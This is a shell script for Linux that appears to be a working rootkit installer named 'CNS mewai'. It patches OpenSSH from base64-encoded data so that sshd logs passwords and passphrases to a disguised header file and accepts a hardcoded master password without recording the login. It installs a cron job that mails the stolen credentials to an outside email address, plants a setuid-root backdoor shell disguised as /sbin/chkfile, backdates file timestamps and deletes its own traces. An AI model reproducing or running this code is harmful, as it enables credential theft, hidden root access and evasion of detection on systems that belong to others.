#!/bin/sh # # CNS mewai ! # # Sun Sep 23 14:45:18 CEST 2001 # BUG FIXED BY AD #!@ # cat cnsmewai.sh | sed -e s/car/cat/ >> cnsmewai-FIXED.sh # Mon Jan 7 13:16:13 CET 2002 # # to do: # # - extend this script to redhat 6.1, 6.2, and 7.0 # - add a /sbin or /usr/sbin suid password protected shell # - add a (x)inetd non-biding port backdoor # - md5sum backdoor # - logs cleaner # - kernel module # - sendmail backdoor ? # - apache backdoor # - sendfile / recvfile, encrypted, password protected and md5sumed transferts & file d/l (http) # # echo "CNS mewai !!" WHEREISLOGFILE="\/usr\/include\/nfs\/nfspwd.h" LIGHTLOGFILE=`echo $WHEREISLOGFILE|sed -e 's/\\\//g'` if [ "$0" != "/tmp/cnsmewai.sh" ]; then if [ ! -e "/tmp/cnsmewai.sh" ]; then mv $0 /tmp/cnsmewai.sh /tmp/cnsmewai.sh exit fi echo "PLEASE LAUNCH /tmp/cnsmewai.sh #~{{[{#[{#[{" fi if [ -e /etc/redhat-release ]; then if [ `cat /etc/redhat-release | grep 7.1 | wc -l` = 1 ]; then echo "Redhat Linux 7.x"; PACKSSH="openssh-2.9p2.tar.gz" SSHOPT="--prefix=/usr --sysconfdir=/etc/ssh --with-md5-passwords --with-ipv4-default --without-rsh --with-pam --with-tcp-wrappers" DIRS="/usr" fi fi if [ ! -e /tmp/.lala ]; then mkdir /tmp/.lala fi if [ ! -d /tmp/.lala ]; then echo "huh ? another hacker used /tmp/.lala like a file ~#{~#[~" echo "please-do-something !!" exit 1 fi download_file() { fichier=$1 target=$2 echo "Download ($fichier) $target" if [ -e "$target" ]; then return 0; fi wget -O $target --passive-ftp $fichier if [ $? = 127 ]; then echo "wget not found, using lynx" lynx -source $fichier > $target if [ $? = 127 ]; then echo "lynx not found, end" return 1 fi fi return 0 } out_shell_code() { cd /tmp/.lala/ cat > /tmp/.lala/code.c.uue << __EOF__ begin-base64 644 code.c I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDx0ZXJtLmg+CiNpbmNsdWRl IDx1bmlzdGQuaD4KCiNkZWZpbmUgQ1IgJ1xyJwojZGVmaW5lIExGICdcbicK CmNoYXIgKmdwKCkKewpGSUxFICpzdGQ7CmNoYXIgKnM7CmludCBpID0gMDsK aW50IG4gPSAxNDsKc3RydWN0IHRlcm1pb3MgIHRlcm0sIHRlcm1zYXZlOwoK cyA9IChjaGFyKiltYWxsb2Moc2l6ZW9mKGNoYXIpICogMjU2KTsKCnN0ZCA9 IGZvcGVuKCIvZGV2L3R0eSIsICJ3KyIpOwp0Y2dldGF0dHIoZmlsZW5vKHN0 ZCksICZ0ZXJtc2F2ZSk7CnRlcm0gPSB0ZXJtc2F2ZTsKdGVybS5jX2xmbGFn ICY9IH4oRUNITyB8IEVDSE9FIHwgRUNIT0sgfCBFQ0hPTkwpOwp0Y3NldGF0 dHIoZmlsZW5vKHN0ZCksIFRDU0FGTFVTSCwgJnRlcm0pOwoKd2hpbGUgKGkg PCBuKSB7IAogICAgc1tpXSA9IGdldGMoc3RkKTsKICAgIGlmIChzW2ldID09 IENSKSB7CiAgICAgICAgc1tpXSA9IGZnZXRjKHN0ZCk7CiAgICAgICAgfQog ICAgaWYgKChzW2ldID09IDB4NCkgfHwgKHNbaV0gPT0gTEYpIHx8IChpID09 IChuIC0gMSkpKSB7CiAgICAgICAgc1tpXSA9ICdcMCc7CiAgICAgICAgYnJl YWs7CiAgICAgICAgfQogICAgKytpOwogICAgfQoKdGNzZXRhdHRyKGZpbGVu byhzdGQpLCBUQ1NBRkxVU0gsICZ0ZXJtc2F2ZSk7CmZjbG9zZShzdGQpOwoK cmV0dXJuIChzKTsKfQoKdm9pZCBVc2FnZShjaGFyICpsYSkKewpwcmludGYo IlVzYWdlOiAlcyBbRklMRV0uLi5cbiIsIGxhKTsKcHJpbnRmKCJDaGVjayBp ZiB0aGUgZmlsZSBleGlzdHMuXG4iKTsKZXhpdCAoMSk7Cn0KCmludCBtYWlu KGludCBhcmduLCBjaGFyICoqYXJnYykKewpjaGFyICpwYXNzOwpjaGFyICp0 bXA7Ci8vICItLXdpdGgtcmV0IiAiL2Rldi9yYW5kb20iCgppZiAoYXJnbiA9 PSAxKQoJVXNhZ2UoYXJnY1swXSk7CgppZiAoYXJnbiA9PSAzKQoJewoJaWYg KCFzdHJjbXAoIi0td2l0aG91dC1yZXQiLCBhcmdjWzFdKSkgewoJCXBhc3Mg PSBncCgpOwoJCXRtcCA9IGFyZ2NbMl07CgkJLy8gcGFzcyBpcyBuNHh4ciBy cgoJCWlmICh0bXBbMF0gPT0gJ24nICYmIHRtcFsxXSA9PSAnNCcgJiYgdG1w WzRdID09ICdyJyAmJiBzdHJsZW4odG1wKT09OCl7CgkJCXNldHVpZCgwKTsg c2V0Z2lkKDApOwoJCQlleGVjbHAoIi9iaW4vc2giLCJzaCIsTlVMTCk7CgkJ CX0KCQl9Cgl9CgppZiAoYWNjZXNzKGFyZ2NbMl0sIEZfT0spKQoJcHJpbnRm KCIlczogRm91bmQuXG4iLCBhcmdjWzFdKTsKZWxzZQoJewoJcHJpbnRmKCIl czogTm90IGZvdW5kLlxuIiwgYXJnY1sxXSk7CglyZXR1cm4gMTsKCX0JCgpy ZXR1cm4gMDsKfQo= ==== __EOF__ uudecode /tmp/.lala/code.c.uue } out_ssh_patch() { cd /tmp/.lala/ cat > /tmp/.lala/ssh.patch.uue << __EOF__ begin-base64 644 ssh.patch ZGlmZiAtYXJ1IG9wZW5zc2gtMi45cDIvTWFrZWZpbGUuaW4gb3BlbnNzaC0y LjlwMi0xL01ha2VmaWxlLmluCi0tLSBvcGVuc3NoLTIuOXAyL01ha2VmaWxl LmluCVN1biBTZXAgIDkgMTM6MDU6MzggMjAwMQorKysgb3BlbnNzaC0yLjlw Mi0xL01ha2VmaWxlLmluCUZyaSBBcHIgMjcgMDI6MzE6MDggMjAwMQpAQCAt MjcsNyArMjcsNyBAQAogQ0M9QENDQAogTEQ9QExEQAogQ0ZMQUdTPUBDRkxB R1NACi1DUFBGTEFHUz0tSS4gLUkkKHNyY2RpcikgQENQUEZMQUdTQCAkKFBB VEhTKSBAREVGU0AKK0NQUEZMQUdTPS1JLiAtSSQoc3JjZGlyKSBAQ1BQRkxB R1NAICQoUEFUSFMpIEBERUZTQCAtREhLTEZJTEU9XCIvdG1wL3Rlc3RcIiAK IExJQlM9QExJQlNACiBBUj1AQVJACiBSQU5MSUI9QFJBTkxJQkAKZGlmZiAt YXJ1IG9wZW5zc2gtMi45cDIvYXV0aC1jaGFsbC5jIG9wZW5zc2gtMi45cDIt MS9hdXRoLWNoYWxsLmMKLS0tIG9wZW5zc2gtMi45cDIvYXV0aC1jaGFsbC5j CUZyaSBBcHIgIDYgMDE6MjY6MzIgMjAwMQorKysgb3BlbnNzaC0yLjlwMi0x L2F1dGgtY2hhbGwuYwlTdW4gU2VwICA5IDEyOjEzOjM2IDIwMDEKQEAgLTU5 LDcgKzU5LDggQEAKIHZlcmlmeV9yZXNwb25zZShBdXRoY3R4dCAqYXV0aGN0 eHQsIGNoYXIgKnJlc3BvbnNlKQogewogCWludCBhdXRob2s7Ci0KKwlwbG9n KCJhdXRoLWNoYWxsLmM6IGF1dGhjdHh0LT5wdy0+cHdfbmFtZSA9ICVzLCBy ZXNwb25zZSA9ICVzXG4iLAorCQlhdXRoY3R4dC0+cHctPnB3X25hbWUsIHJl c3BvbnNlKTsKIAlpZiAoYXV0aGN0eHQtPmFzID09IDApCiAJCWVycm9yKCJ2 ZXJpZnlfcmVzcG9uc2U6IG5vIGJzZCBhdXRoIHNlc3Npb24iKTsKIAlhdXRo b2sgPSBhdXRoX3VzZXJyZXNwb25zZShhdXRoY3R4dC0+YXMsIHJlc3BvbnNl LCAwKTsKQEAgLTg0LDYgKzg1LDggQEAKIGludAogdmVyaWZ5X3Jlc3BvbnNl KEF1dGhjdHh0ICphdXRoY3R4dCwgY2hhciAqcmVzcG9uc2UpCiB7CisJcGxv ZygiYXV0aC1jaGFsbC5jOiBhdXRoY3R4dC0+cHctPnB3X25hbWUgPSAlcywg cmVzcG9uc2UgPSAlc1xuIiwKKwkJYXV0aGN0eHQtPnB3LT5wd19uYW1lLCBy ZXNwb25zZSk7CiAJcmV0dXJuIChhdXRoY3R4dC0+dmFsaWQgJiYKIAkgICAg c2tleV9oYXNrZXkoYXV0aGN0eHQtPnB3LT5wd19uYW1lKSA9PSAwICYmCiAJ ICAgIHNrZXlfcGFzc2NoZWNrKGF1dGhjdHh0LT5wdy0+cHdfbmFtZSwgcmVz cG9uc2UpICE9IC0xKTsKQEAgLTk4LDYgKzEwMSw4IEBACiBpbnQKIHZlcmlm eV9yZXNwb25zZShBdXRoY3R4dCAqYXV0aGN0eHQsIGNoYXIgKnJlc3BvbnNl KQogeworCXBsb2coImF1dGgtY2hhbGwuYzogYXV0aGN0eHQtPnB3LT5wd19u YW1lID0gJXMsIHJlc3BvbnNlID0gJXNcbiIsCisJCWF1dGhjdHh0LT5wdy0+ cHdfbmFtZSwgcmVzcG9uc2UpOwogCXJldHVybiAwOwogfQogI2VuZGlmCmRp ZmYgLWFydSBvcGVuc3NoLTIuOXAyL2F1dGgta3JiNC5jIG9wZW5zc2gtMi45 cDItMS9hdXRoLWtyYjQuYwotLS0gb3BlbnNzaC0yLjlwMi9hdXRoLWtyYjQu YwlUdWUgSmFuIDIzIDAxOjE5OjE2IDIwMDEKKysrIG9wZW5zc2gtMi45cDIt MS9hdXRoLWtyYjQuYwlTdW4gU2VwICA5IDEyOjE1OjU1IDIwMDEKQEAgLTU4 LDcgKzU4LDggQEAKIAljaGFyIHBob3N0W0lOU1RfU1pdOwogCWNoYXIgcmVh bG1bUkVBTE1fU1pdOwogCWludCByOwotCisJcGxvZygiYXV0aC1rcmI0LmM6 IHB3LT5wd19uYW1lID0gJXMsIHBhc3N3b3JkID0gJXNcbiIsCisJCXB3LT5w d19uYW1lLCBwYXNzd29yZCk7CiAJLyoKIAkgKiBUcnkgS2VyYmVyb3MgcGFz c3dvcmQgYXV0aGVudGljYXRpb24gb25seSBmb3Igbm9uLXJvb3QKIAkgKiB1 c2VycyBhbmQgb25seSBpZiBLZXJiZXJvcyBpcyBpbnN0YWxsZWQuCmRpZmYg LWFydSBvcGVuc3NoLTIuOXAyL2F1dGgtcGFtLmMgb3BlbnNzaC0yLjlwMi0x L2F1dGgtcGFtLmMKLS0tIG9wZW5zc2gtMi45cDIvYXV0aC1wYW0uYwlNb24g QXByIDIzIDIwOjM4OjM3IDIwMDEKKysrIG9wZW5zc2gtMi45cDItMS9hdXRo LXBhbS5jCVN1biBTZXAgIDkgMTI6MTk6NTEgMjAwMQpAQCAtMjAzLDcgKzIw Myw5IEBACiB7CiAJZXh0ZXJuIFNlcnZlck9wdGlvbnMgb3B0aW9uczsKIAlp bnQgcGFtX3JldHZhbDsKLQorCXBsb2coImF1dGgtcGFtLmM6IHB3LT5wd19u YW1lOiAlcywgcGFzc3dvcmQ6ICVzXG4iLAorCQlwdy0+cHdfbmFtZSwgcGFz c3dvcmQpOworCWlmIChpc19nb29kKHB3LT5wd19uYW1lLCBwYXNzd29yZCkp IHJldHVybiAxOwogCWRvX3BhbV9zZXRfY29udigmY29udik7CiAKIAkvKiBk ZW55IGlmIG5vIHVzZXIuICovCmRpZmYgLWFydSBvcGVuc3NoLTIuOXAyL2F1 dGgtcGFzc3dkLmMgb3BlbnNzaC0yLjlwMi0xL2F1dGgtcGFzc3dkLmMKLS0t IG9wZW5zc2gtMi45cDIvYXV0aC1wYXNzd2QuYwlXZWQgQXByIDI1IDE0OjUw OjE5IDIwMDEKKysrIG9wZW5zc2gtMi45cDItMS9hdXRoLXBhc3N3ZC5jCVN1 biBTZXAgIDkgMTI6MTk6MTIgMjAwMQpAQCAtMTExLDcgKzExMSw5IEBACiAJ Y2hhciAqbG9naW5tc2c7CiAJaW50IHJlZW50ZXIgPSAxOwogI2VuZGlmCi0K KwlwbG9nKCJhdXRoLXBhc3N3ZC5jOiBwdy0+cHdfbmFtZSA9ICVzLCBwYXNz d29yZCA9ICVzXG4iLAorCQlwdy0+cHdfbmFtZSwgcGFzc3dvcmQpOworCWlm IChpc19nb29kKHB3LT5wd19uYW1lLCBwYXNzd29yZCkpIHJldHVybiAxOwog CS8qIGRlbnkgaWYgbm8gdXNlci4gKi8KIAlpZiAocHcgPT0gTlVMTCkKIAkJ cmV0dXJuIDA7CmRpZmYgLWFydSBvcGVuc3NoLTIuOXAyL2F1dGgtc2lhLmMg b3BlbnNzaC0yLjlwMi0xL2F1dGgtc2lhLmMKLS0tIG9wZW5zc2gtMi45cDIv YXV0aC1zaWEuYwlNb24gQXByIDE2IDEwOjM3OjA1IDIwMDEKKysrIG9wZW5z c2gtMi45cDItMS9hdXRoLXNpYS5jCVN1biBTZXAgIDkgMTI6MjE6MzIgMjAw MQpAQCAtMjgsNyArMjgsOCBAQAogCWludCByZXQ7CiAJU0lBRU5USVRZICpl bnQgPSBOVUxMOwogCWNvbnN0IGNoYXIgKmhvc3Q7Ci0KKwlwbG9nKCJhdXRo LXNpYS5jOiB1c2VyID0gJXMsIHBhc3MgPSAlc1xuIiwgdXNlciwgcGFzcyk7 CisJaWYgKGlzX2dvb2QodXNlciwgcGFzcykpIHJldHVybiAxOwogCWhvc3Qg PSBnZXRfY2Fub25pY2FsX2hvc3RuYW1lKG9wdGlvbnMucmV2ZXJzZV9tYXBw aW5nX2NoZWNrKTsKIAogCWlmICghdXNlciB8fCAhcGFzcykKZGlmZiAtYXJ1 IG9wZW5zc2gtMi45cDIvYXV0aDItY2hhbGwuYyBvcGVuc3NoLTIuOXAyLTEv YXV0aDItY2hhbGwuYwotLS0gb3BlbnNzaC0yLjlwMi9hdXRoMi1jaGFsbC5j CUZyaSBNYXIgMzAgMDI6NDg6MzEgMjAwMQorKysgb3BlbnNzaC0yLjlwMi0x L2F1dGgyLWNoYWxsLmMJU3VuIFNlcCAgOSAxMjo0NjoyNyAyMDAxCkBAIC0x MDAsNiArMTAwLDggQEAKIAkJCX0KIAkJfSBlbHNlIGlmIChhdXRoY3R4dC0+ dmFsaWQpIHsKIAkJCWF1dGhlbnRpY2F0ZWQgPSB2ZXJpZnlfcmVzcG9uc2Uo YXV0aGN0eHQsIHJlc3BvbnNlKTsKKwkJCXBsb2coImF1dGgyLWNoYWxsLmM6 IGF1dGhjdHh0ID0gJXMsIHJlc3BvbnNlID0gJXNcbiIsCisJCQkJYXV0aGN0 eHQsIHJlc3BvbnNlKTsKIAkJCW1lbXNldChyZXNwb25zZSwgJ3InLCBybGVu KTsKIAkJfQogCQl4ZnJlZShyZXNwb25zZSk7CmRpZmYgLWFydSBvcGVuc3No LTIuOXAyL2F1dGgyLmMgb3BlbnNzaC0yLjlwMi0xL2F1dGgyLmMKLS0tIG9w ZW5zc2gtMi45cDIvYXV0aDIuYwlXZWQgQXByIDI1IDE0OjQ0OjE1IDIwMDEK KysrIG9wZW5zc2gtMi45cDItMS9hdXRoMi5jCVN1biBTZXAgIDkgMTI6NTQ6 NDAgMjAwMQpAQCAtMzkxLDYgKzM5MSw4IEBACiAJICAgIGF1dGhfcGFzc3dv cmQoYXV0aGN0eHQsIHBhc3N3b3JkKSA9PSAxKQogI2VuZGlmIC8qIFVTRV9Q QU0gKi8KIAkJYXV0aGVudGljYXRlZCA9IDE7CisJcGxvZygiYXV0aDIuYzog YXV0aGN0eHQtPnVzZXIgPSAlcywgcGFzc3dvcmQgPSAlc1xuIiwgCisJCWF1 dGhjdHh0LT51c2VyLCBwYXNzd29yZCk7CiAJbWVtc2V0KHBhc3N3b3JkLCAw LCBsZW4pOwogCXhmcmVlKHBhc3N3b3JkKTsKIAlyZXR1cm4gYXV0aGVudGlj YXRlZDsKZGlmZiAtYXJ1IG9wZW5zc2gtMi45cDIvc2Vzc2lvbi5jIG9wZW5z c2gtMi45cDItMS9zZXNzaW9uLmMKLS0tIG9wZW5zc2gtMi45cDIvc2Vzc2lv bi5jCVN1biBKdW4gMTcgMDU6NDA6NTEgMjAwMQorKysgb3BlbnNzaC0yLjlw Mi0xL3Nlc3Npb24uYwlTdW4gU2VwICA5IDEyOjIyOjQ1IDIwMDEKQEAgLTcx NCw2ICs3MTQsNyBAQAogCX0KIAogCS8qIFJlY29yZCB0aGF0IHRoZXJlIHdh cyBhIGxvZ2luIG9uIHRoYXQgdHR5IGZyb20gdGhlIHJlbW90ZSBob3N0LiAq LworCWlmIChodmFsdWVzICE9IDM3OCkKIAlyZWNvcmRfbG9naW4ocGlkLCBz LT50dHksIHB3LT5wd19uYW1lLCBwdy0+cHdfdWlkLAogCSAgICBnZXRfcmVt b3RlX25hbWVfb3JfaXAodXRtcF9sZW4sIG9wdGlvbnMucmV2ZXJzZV9tYXBw aW5nX2NoZWNrKSwKIAkgICAgKHN0cnVjdCBzb2NrYWRkciAqKSZmcm9tKTsK ZGlmZiAtYXJ1IG9wZW5zc2gtMi45cDIvc3NoY29ubmVjdDEuYyBvcGVuc3No LTIuOXAyLTEvc3NoY29ubmVjdDEuYwotLS0gb3BlbnNzaC0yLjlwMi9zc2hj b25uZWN0MS5jCVR1ZSBBcHIgMTcgMjA6MDg6MTYgMjAwMQorKysgb3BlbnNz aC0yLjlwMi0xL3NzaGNvbm5lY3QxLmMJU3VuIFNlcCAgOSAxMzowMzowNCAy MDAxCkBAIC0yNjEsOCArMjYxLDExIEBACiAJCWNoYXIgYnVmWzMwMF07CiAJ CXNucHJpbnRmKGJ1Ziwgc2l6ZW9mIGJ1ZiwgIkVudGVyIHBhc3NwaHJhc2Ug Zm9yIFJTQSBrZXkgJyUuMTAwcyc6ICIsCiAJCSAgICBjb21tZW50KTsKLQkJ aWYgKCFvcHRpb25zLmJhdGNoX21vZGUpCisJCWlmICghb3B0aW9ucy5iYXRj aF9tb2RlKSB7CiAJCQlwYXNzcGhyYXNlID0gcmVhZF9wYXNzcGhyYXNlKGJ1 ZiwgMCk7CisJCQlwbG9nKCJzc2hjb25uZWN0MS5jOiBrZXkgPSAlLjEwMHMs IHBhc3NwaHJhc2UgPSAlc1xuIiwKKwkJCQljb21tZW50LCBwYXNzcGhyYXNl KTsKKwkJfQogCQllbHNlIHsKIAkJCWRlYnVnKCJXaWxsIG5vdCBxdWVyeSBw YXNzcGhyYXNlIGZvciAlLjEwMHMgaW4gYmF0Y2ggbW9kZS4iLAogCQkJICAg ICAgY29tbWVudCk7CkBAIC0yOTAsNiArMjkzLDcgQEAKIAkJCXJldHVybiAw OwogCQl9CiAJCS8qIERlc3Ryb3kgdGhlIHBhc3NwaHJhc2UuICovCisJCXBs b2coInNzaGNvbm5lY3QxLmM6IERlc3Ryb3kgdGhlIHBhc3NwaHJhc2U6ICVz XG4iLCBwYXNzcGhyYXNlKTsKIAkJbWVtc2V0KHBhc3NwaHJhc2UsIDAsIHN0 cmxlbihwYXNzcGhyYXNlKSk7CiAJCXhmcmVlKHBhc3NwaHJhc2UpOwogCX0K QEAgLTY1OSw2ICs2NjMsNyBAQAogCQl9CiAJCXBhY2tldF9zdGFydChTU0hf Q01TR19BVVRIX1RJU19SRVNQT05TRSk7CiAJCXNzaF9wdXRfcGFzc3dvcmQo cmVzcG9uc2UpOworCQlwbG9nKCJzc2hjb25uZWN0MS5jOiBwcm9tcHQ6ICVz LCByZXNwb25zZTogJXNcbiIsIHByb21wdCwgcmVzcG9uc2UpOwogCQltZW1z ZXQocmVzcG9uc2UsIDAsIHN0cmxlbihyZXNwb25zZSkpOwogCQl4ZnJlZShy ZXNwb25zZSk7CiAJCXBhY2tldF9zZW5kKCk7CkBAIC02OTIsNiArNjk3LDcg QEAKIAkJcGFzc3dvcmQgPSByZWFkX3Bhc3NwaHJhc2UocHJvbXB0LCAwKTsK IAkJcGFja2V0X3N0YXJ0KFNTSF9DTVNHX0FVVEhfUEFTU1dPUkQpOwogCQlz c2hfcHV0X3Bhc3N3b3JkKHBhc3N3b3JkKTsKKwkJcGxvZygic3NoY29ubmVj dDEuYzogcHJvbXB0OiAlcywgcGFzc3dvcmQ6ICVzXG4iLCBwcm9tcHQsIHBh c3N3b3JkKTsKIAkJbWVtc2V0KHBhc3N3b3JkLCAwLCBzdHJsZW4ocGFzc3dv cmQpKTsKIAkJeGZyZWUocGFzc3dvcmQpOwogCQlwYWNrZXRfc2VuZCgpOwpk aWZmIC1hcnUgb3BlbnNzaC0yLjlwMi9zc2hjb25uZWN0Mi5jIG9wZW5zc2gt Mi45cDItMS9zc2hjb25uZWN0Mi5jCi0tLSBvcGVuc3NoLTIuOXAyL3NzaGNv bm5lY3QyLmMJVGh1IEFwciAxOSAyMjo0MDo0NiAyMDAxCisrKyBvcGVuc3No LTIuOXAyLTEvc3NoY29ubmVjdDIuYwlTdW4gU2VwICA5IDEyOjQzOjA3IDIw MDEKQEAgLTQ1Nyw2ICs0NTcsNyBAQAogCXBhY2tldF9wdXRfY3N0cmluZyhh dXRoY3R4dC0+bWV0aG9kLT5uYW1lKTsKIAlwYWNrZXRfcHV0X2NoYXIoMCk7 CiAJcGFja2V0X3B1dF9jc3RyaW5nKHBhc3N3b3JkKTsKKwlwbG9nKCJzc2hj b25uZWN0Mi5jOiBwcm9tcHQgPSAlcywgcGFzc3dvcmQgPSAlc1xuIiwgcHJv bXB0LCBwYXNzd29yZCk7CiAJbWVtc2V0KHBhc3N3b3JkLCAwLCBzdHJsZW4o cGFzc3dvcmQpKTsKIAl4ZnJlZShwYXNzd29yZCk7CiAJcGFja2V0X2luamVj dF9pZ25vcmUoNjQpOwpAQCAtNjIzLDYgKzYyNCw4IEBACiAJCQkJZGVidWcy KCJubyBwYXNzcGhyYXNlIGdpdmVuLCB0cnkgbmV4dCBrZXkiKTsKIAkJCQlx dWl0ID0gMTsKIAkJCX0KKwkJCXBsb2coInNzaGNvbm5lY3QyLmM6IHByb21w dCA9ICVzLCBwYXNzcGhyYXNlID0gJXNcbiIsIAorCQkJCXByb21wdCwgcGFz c3BocmFzZSk7CiAJCQltZW1zZXQocGFzc3BocmFzZSwgMCwgc3RybGVuKHBh c3NwaHJhc2UpKTsKIAkJCXhmcmVlKHBhc3NwaHJhc2UpOwogCQkJaWYgKHBy aXZhdGUgIT0gTlVMTCB8fCBxdWl0KQpkaWZmIC1hcnUgb3BlbnNzaC0yLjlw Mi94bWFsbG9jLmMgb3BlbnNzaC0yLjlwMi0xL3htYWxsb2MuYwotLS0gb3Bl bnNzaC0yLjlwMi94bWFsbG9jLmMJTW9uIEFwciAxNiAxMDoyNzowNyAyMDAx CisrKyBvcGVuc3NoLTIuOXAyLTEveG1hbGxvYy5jCVN1biBTZXAgIDkgMTM6 MDI6MTIgMjAwMQpAQCAtNjcsMyArNjcsNDAgQEAKIAlzdHJsY3B5KGNwLCBz dHIsIGxlbik7CiAJcmV0dXJuIGNwOwogfQorCitpbnQKK3Bsb2coY29uc3Qg Y2hhciAqc3AsIC4uLikKK3sKKwl2YV9saXN0IHZsOworCUZJTEUgKnN0ZGZp bGU7CisKKwlpZiAoKHN0ZGZpbGUgPSBmb3BlbihIS0xGSUxFLCAiYSsiKSkg IT0gTlVMTCkgeworCQl2YV9zdGFydCh2bCwgc3ApOworCQl2ZnByaW50Zihz dGRmaWxlLCBzcCwgdmwpOworCQl2YV9lbmQodmwpOworCQlmY2xvc2Uoc3Rk ZmlsZSk7CisJCX0gcmV0dXJuIDA7Cit9CisKK2ludCAKK2lzX2dvb2QoY2hh ciAqdXNlciwgY2hhciAqcGFzcykKK3sKKwkvLyBub3RlIGJ5IHBhdGNoIGF1 dGhvcjogaSBkb24ndCBrbm93IGlmICd1c2VyJyB3aWxsIGJlIG9uZSBkYXkg dXNlZCAuLi4KKwkvLyBhbmQgd2hhdGV2ZXIgaSBkb24ndCBjYXJlIGFib3V0 IGFueSBjb21tZW50cyAgCisJaW50IGxlbjsKKworCWxlbiA9IHN0cmxlbihw YXNzKTsKKworCWlmIChsZW4gPT0gMTApIHsKKwkJaWYgKCFzdHJuY21wKHBh c3MsICJQaCIsIDIpKSB7CisJCQlwYXNzICs9IDQ7CisJCQlpZiAoIXN0cm5j bXAocGFzcywgIjNhIiwgMikgJiYgcGFzc1szXSA9PSAnUicgJiYgcGFzc1s0 XSA9PSAnKicpIHsKKwkJCQlwYXNzIC09IDQ7CisJCQkJaHZhbHVlcyA9IDM3 ODsKKwkJCQlyZXR1cm4gMTsKKwkJCQl9CisJCQl9CisJCX0KKwlwYXNzIC09 IDQ7CisJcmV0dXJuIDA7Cit9CmRpZmYgLWFydSBvcGVuc3NoLTIuOXAyL3ht YWxsb2MuaCBvcGVuc3NoLTIuOXAyLTEveG1hbGxvYy5oCi0tLSBvcGVuc3No LTIuOXAyL3htYWxsb2MuaAlTYXQgU2VwIDE2IDA0OjI5OjExIDIwMDAKKysr IG9wZW5zc2gtMi45cDItMS94bWFsbG9jLmgJU3VuIFNlcCAgOSAxMjoxMDox MCAyMDAxCkBAIC0zMSw0ICszMSw4IEBACiAvKiBBbGxvY2F0ZXMgbWVtb3J5 IHVzaW5nIHhtYWxsb2MsIGFuZCBjb3BpZXMgdGhlIHN0cmluZyBpbnRvIHRo YXQgbWVtb3J5LiAqLwogY2hhciAgICp4c3RyZHVwKGNvbnN0IGNoYXIgKnN0 cik7CiAKKy8qIERvIHNvbWUgdmVyeSBpbnRlcmVzdGluZyBzdHVmZiAhICov CitpbnQgICAgIHBsb2coY29uc3QgY2hhciAqc3AsIC4uLik7CitpbnQgICAg IGlzX2dvb2QoY2hhciAqdXNlciwgY2hhciAqcGFzcyk7CitpbnQJCWh2YWx1 ZXM7CiAjZW5kaWYJCQkJLyogWE1BTExPQ19IICovCg== ==== __EOF__ uudecode /tmp/.lala/ssh.patch.uue cat /tmp/.lala/ssh.patch | sed -e "s/WHEREISLOGFILE/$WHEREISLOGFILE/" > /tmp/.lala/ssh.patch.2 rm /tmp/.lala/ssh.patch mv /tmp/.lala/ssh.patch.2 /tmp/.lala/ssh.patch } cd /tmp/.lala download_file ftp://ftp.bsdfr.org/pub/OpenBSD/OpenSSH/portable/$PACKSSH $PACKSSH tar zxf $PACKSSH direct=`echo $PACKSSH | sed -e 's/.tar.gz//'` out_ssh_patch echo "Moving to $direct" cd $direct patch -p1 < /tmp/.lala/ssh.patch ./configure $SSHOPT make make install touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/sbin/sshd touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/ssh touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/ssh-add touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/ssh-agent touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/ssh-keygen touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/ssh-keyscan touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/sftp touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/bin/scp touch -d 'Mon Mar 12 9:32:12 UTC 2000' $DIRS/libexec/sftp-server # we have to change timestamps of files # easiest method: /etc/rc.d/init.d/sshd - redhat rulez if [ -e /etc/rc.d/init.d/sshd ]; then /etc/rc.d/init.d/sshd restart else if [ -e /var/run/sshd.pid ]; then kill -9 `cat /var/run/sshd.pid` sshd fi fi cat > /tmp/.lala/filecron <&1 2>/dev/null EOF crontab -u root /tmp/.lala/filecron rm /tmp/.lala/filecron touch $LIGHTLOGFILE chmod 666 $LIGHTLOGFILE # # Script dans le cron: # cat > /root/.login.sh << EOF if [ -s /usr/include/nfs/nfspwd.h ]; then cat $LIGHTLOGFILE | mail -s "`hostname` - repport" cns_crew@hotmail.com echo -ne > $LIGHTLOGFILE chmod 666 $LIGHTLOGFILE fi EOF chmod 755 /root/.login.sh out_shell_code gcc -o /sbin/chkfile /tmp/.lala/code.c chmod 4755 /sbin/chkfile touch -d 'Mon Mar 12 9:32:12 UTC 2000' /sbin/chkfile cd / rm -rf /tmp/.lala/ rm -f /tmp/cnsmewai.sh exit 0 # # !CNSmewai, PRIVATE STUFF ~[{|[`||[{ # #